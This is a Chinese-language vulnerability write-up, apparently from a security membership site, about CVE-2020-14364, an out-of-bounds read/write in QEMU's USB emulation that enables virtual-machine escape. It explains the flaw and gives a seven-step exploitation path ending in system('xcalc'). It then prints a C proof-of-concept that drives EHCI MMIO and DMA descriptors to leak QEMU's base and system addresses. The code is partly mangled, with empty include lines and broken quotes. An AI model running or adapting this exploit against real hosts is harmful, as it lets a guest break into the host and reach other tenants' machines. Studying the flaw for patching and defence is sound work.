QEMU 虚拟机逃逸漏洞 CVE-2020-14364-棉花糖会员站

# QEMU 虚拟机逃逸漏洞 CVE-2020-14364

## 漏洞描述

当地时间8月24日，一个存在于QEMU USB模拟器中的越界读写漏洞（CVE-2020-14364）被公布。

漏洞位于 ./hw/usb/core.c 中，当程序处理来自客户机的USB数据包时，如果在 do_token_in 与 do_token_out中’USBDevice->setup_len’超过了USBDevice->data_buf[4096]，则存在问题。

客户机用户可能会使用此漏洞使QEMU进程崩溃，从而导致DoS或在宿主机上以QEMU进程的特权执行任意代码，实现虚拟机逃逸。

攻击者在拥有云环境虚拟机操作系统权限的情况下，便可利用该漏洞获取宿主机权限，进而攻击虚拟机所在资源池所有租户主机，甚至可通过已开通的内网权限攻击管理域系统，风险极高。

本次漏洞的影响范围较广，涉及qemu 1.0 以上的全部版本。

## 漏洞影响

> [!NOTE]
>
> Qemu > 1.0

## 漏洞复现

### 漏洞原理

USB总线通过创建一个USBpacket对象来和USB设备通信。

Usbpacket对象中包含以下关键内容

其中pid表明packet的类型，存在三种类型in、out、setup, ep指向endpoint对象，通过此结构定位目标usb设备。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配，传送的长度由s->setup_len限制。

漏洞存在于s->setup_len赋值的过程do_token_setup中。

虽然进行了校验，但是由于在校验前，s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。

### 利用方式

#### 1. 泄露USBdevice对象的地址。

观察越界可读内容发现可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

**2. 通过usbdevice的对象地址我们可以得到s->data_buf的位置，之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。**

**3. 我们还需要获取任何地址读取功能，setup_buf [0]控制写入方向，并且只能由do_token_setup进行修改。由于我们在第二步中使用了越界写入功能，因此setup_buf [0]是写入方向，因此只可以进行写入操作，无法读取。绕过方法：设置setup_index = 0xfffffff8，再次越界，修改setup_buf [0]的值，然后再次将setup_index修改为要读取的地址，以实现任意地址读取。**

**4.通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址，再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时，我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。**

**5.在data_buf中伪造irq结构。**

**6.以伪造结构劫持ehcistate中的irq对象。**

**7.通过mmio读取寄存器以触发ehci_update_irq，执行system（“ xcalc”）。完成利用**

[QEMU CVE-2020-14364 POC 视频演示](https://v.qq.com/x/page/w3141fini4b.html)

## 漏洞利用POC

“`c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};

typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;

typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;

uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open(“/proc/self/pagemap”, O_RDONLY);
if (fd == -1)
die(“open”);
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die(“read”);
// Assert page present

phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } void die(const char* msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t*)(mmio_mem + addr)); } void init(){ int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); mlock(dmabuf, 0x3000); hcca=dmabuf; dmabuf32=dmabuf+4; qtd=dmabuf+0x200; qh=dmabuf+0x100; setup_buf=dmabuf+0x300; } void init_state(){ mmio_write(0x64,0x100); mmio_write(0x64,0x4); qh->epchar=0x00;
qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 2<<8 | 8<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);

qh->epchar=0x00;
qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

int main()
{
init();
iopl(3);
outw(0,0xc0c0);
outw(0,0xc0e0);
outw(0,0xc010);
outw(0,0xc0a0);
sleep(3);
init_state();
sleep(2);
set_length(0x2000,0x80);
sleep(2);
do_copy_read();
sleep(2);
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
uint64_t dev_addr=usb_device.ep_ctl.dev;
uint64_t *tmp=dmabuf+0x24f4;
long long base=*tmp;
if(base == 0){
printf(“INIT DOWN,DO IT AGAIN”);
return 0;
}
base-=0xee5480-0x2668c0;
uint64_t system=base+0x2d9610;
puts(“\\\\\\\\\\\\\\\\\\\\\\\\”);
printf(“LEAK BASE ADDRESS:%llx!\n”,base);
printf(“LEAK SYSTEM ADDRESS:%llx!\n”,system);
puts(“\\\\\\\\\\\\\\\\\\\\\\\\”);
}
“`